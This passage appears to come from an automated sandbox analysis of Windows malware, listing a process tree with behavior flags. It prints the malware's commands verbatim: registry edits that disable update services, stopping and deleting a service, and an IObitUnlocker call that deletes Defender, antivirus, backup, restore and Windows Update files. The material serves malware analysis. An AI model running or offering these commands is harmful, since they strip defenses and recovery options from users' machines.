    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5908
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- - C:\Users\Admin\AppData\Local\Temp\barer\rase.exe
    rase /delwd
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Sets service image path in registry
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2332
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:5488
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:4604
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2592
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "2332"
      4⤵
      System Location Discovery: System Language Discovery
      PID:452
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "2332"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
- - C:\Users\Admin\AppData\Local\Temp\barer\rase.exe
    rase /DelWD
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Sets service image path in registry
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      System Location Discovery: System Language Discovery
      PID:1668
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:8
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1996
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health 